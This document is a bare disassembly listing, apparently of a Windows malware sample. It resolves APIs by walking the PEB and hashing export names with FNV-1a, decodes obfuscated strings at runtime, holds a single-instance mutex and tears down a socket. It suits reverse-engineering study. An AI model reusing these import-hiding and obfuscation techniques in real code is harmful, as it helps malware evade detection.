mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461aa4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461aa4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461a9d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461a80
cmp esi, 0x71948ca4
je 0x461aa8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461a66
mov eax, dword [eax]
jmp 0x461a40
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x60]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461b49
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461b49
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461b42
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461b25
cmp esi, 0x71948ca4
je 0x461b4d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461b10
mov eax, dword [eax]
jmp 0x461ae5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461be4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461be4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461bdd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461bc0
cmp esi, 0x71948ca4
je 0x461be8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461ba6
mov eax, dword [eax]
jmp 0x461b80
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461c79
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461c79
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461c72
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461c55
cmp esi, 0xfaba0065
je 0x461c7d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461c40
mov eax, dword [eax]
jmp 0x461c17
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461d09
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461d09
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461d02
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461ce5
cmp esi, 0xfaba0065
je 0x461d0d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461cd0
mov eax, dword [eax]
jmp 0x461ca7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461da4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461da4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461d9d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461d80
cmp esi, 0xfaba0065
je 0x461da8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461d66
mov eax, dword [eax]
jmp 0x461d40
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x60]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461e34
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461e34
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461e2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461e10
cmp esi, 0xfaba0065
je 0x461e38
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461df8
mov eax, dword [eax]
jmp 0x461dd2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461ec4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461ec4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461ebd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461ea0
cmp esi, 0xfaba0065
je 0x461ec8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461e88
mov eax, dword [eax]
jmp 0x461e62
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461f54
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461f54
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461f4d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461f30
cmp esi, 0xfaba0065
je 0x461f58
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461f18
mov eax, dword [eax]
jmp 0x461ef2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xd2]
mov dword [ebp - 0xd2], 0xccd2c097
mov word [ebp - 0xce], 0x100
call fcn.004632b0
lea ecx, [ebp - 0x95]
mov word [ebp - 0x95], 0xe6
mov byte [ebp - 0x93], 1
call fcn.00463460
lea eax, [ebp - 0x95]
push 0x535ae4
push eax
lea edx, [ebp - 0x214]
lea ecx, [ebp - 0x4bc]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x4a4]
mov edx, eax
call fcn.00469fc0
lea ecx, [ebp - 0xd2]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461ff0
sub ecx, esi
lea eax, [ebp - 0xd2]
push ecx
push eax
mov ecx, edx
call fcn.00468980
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00402710
lea ecx, [ebp - 0x4a4]
call fcn.004026c0
lea ecx, [ebp - 0x4bc]
call fcn.004026c0
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0xccd2c097
mov word [ebp - 0x3e], 0x100
call fcn.004632b0
mov edx, 0x17
lea ecx, [ebp - 0x4ec]
call fcn.0040c7f0
push eax
lea edx, [ebp - 0x810]
lea ecx, [ebp - 0x4d4]
call fcn.00469ec0
lea ecx, [ebp - 0x42]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462070
sub ecx, esi
lea eax, [ebp - 0x42]
push ecx
push eax
mov ecx, edx
call fcn.00468980
push eax
lea ecx, [ebp - 0x344]
call fcn.00402710
lea ecx, [ebp - 0x4d4]
call fcn.004026c0
lea ecx, [ebp - 0x4ec]
call fcn.004026c0
mov ecx, 0x5381d0
call fcn.00402800
lea ecx, [ebp - 0x344]
mov esi, eax
call fcn.00402800
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402760
sub esp, 0x18
mov ecx, esp
push 0x535afc
call fcn.00466110
mov ecx, esi
call fcn.00407220
add esp, 0x18
lea eax, [ebp - 0x2d4]
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
lea eax, [ebp - 0x344]
mov ecx, esp
push eax
call fcn.00466110
call fcn.00420100
add esp, 0x30
cmp byte [0x537ee8], 0
je 0x46219c
cmp byte [ebp - 0x15], 0
jne 0x46219c
sub esp, 0x10
mov ecx, esp
push 0x538198
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538078
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538140
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538160
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538150
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538098
call fcn.00463c10
sub esp, 0x18
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0041aaf0
add esp, 0x78
test al, al
je 0x46219c
call fcn.00416d80
sub esp, 0x18
lea eax, [ebp - 0x280]
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x10
mov ecx, esp
push 0x538198
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538078
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538140
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538160
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538150
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538098
call fcn.00463c10
sub esp, 0x18
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00466110
call fcn.00445400
add esp, 0x90
lea ecx, [ebp - 0x344]
call fcn.004026c0
lea ecx, [ebp - 0x2d4]
call fcn.004026c0
jmp 0x4622d1
cmp byte [0x537ee8], 0
je 0x4622d1
cmp byte [ebp - 0x15], 0
jne 0x4622d1
sub esp, 0x10
mov ecx, esp
push 0x538198
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538078
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538140
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538160
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538150
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538098
call fcn.00463c10
sub esp, 0x18
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0041aaf0
add esp, 0x78
test al, al
je 0x4622d1
call fcn.00416d80
lea ecx, [ebp - 0x2ec]
call fcn.004026c0
lea ecx, [ebp - 0x304]
call fcn.004026c0
lea ecx, [ebp - 0x31c]
call fcn.004026c0
lea ecx, [ebp - 0x408]
call fcn.00462690
lea ecx, [ebp - 0x410]
call fcn.004626f0
lea ecx, [ebp - 0x238]
call fcn.004026c0
lea ecx, [ebp - 0x250]
call fcn.004026c0
push str.ret34634734g_dfyh_y_rtdyrtyrty
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x537ee8], 0
je 0x4624d4
cmp byte [ebp - 0x15], 0
je 0x4624d4
sub esp, 0x10
mov ecx, esp
push 0x538198
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538078
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538140
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538160
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538150
call fcn.00463c10
sub esp, 0x10
mov ecx, esp
push 0x538098
call fcn.00463c10
sub esp, 0x18
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00466110
call fcn.0041aaf0
add esp, 0x78
test al, al
je 0x4624d4
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x18c], 0xdfd2d6ca
mov dword [ebp - 0x188], 0xa9d3edd6
mov dword [ebp - 0x184], 0xaa82a7a5
mov word [ebp - 0x180], 0xa1
mov byte [ebp - 0x17e], 1
call fcn.004633a0
push 0x535b44
lea edx, [ebp - 0x18c]
lea ecx, [ebp - 0x504]
call fcn.00469e60
add esp, 4
mov ecx, eax
call fcn.00402800
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x504]
call fcn.004026c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x462519
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0xfff5ecf1
mov dword [ebp - 0x148], 0xacd3da93
mov word [ebp - 0x144], 0x100
call fcn.00463160
sub esp, 0x18
lea eax, [ebp - 0x14c]
mov ecx, esp
push eax
call fcn.00402760
call fcn.0041fb30
mov ecx, dword [0x5381b8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5381b4]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4624cb
push 0x64
call ebx
mov ecx, dword [0x5381b8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5381b4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4624a8
mov byte [0x537ec1], 1
jmp 0x4624da
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 2
push dword [0x535aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x535aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x537ee8], 0
je 0x462519
cmp byte [ebp - 0x15], 0
je 0x462519
nop word [eax + eax]
push 0x3e8
call ebx
jmp 0x462510
lea ecx, [ebp - 0x280]
xor esi, esi
call fcn.004026c0
lea ecx, [ebp - 0x3ac]
call fcn.004026c0
lea ecx, [ebp - 0x214]
call fcn.004026c0
mov ecx, dword [ebp - 0x1e0]
test ecx, ecx
je 0x46254b
call fcn.004035c0
lea ecx, [ebp - 0x3f4]
call fcn.004026c0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10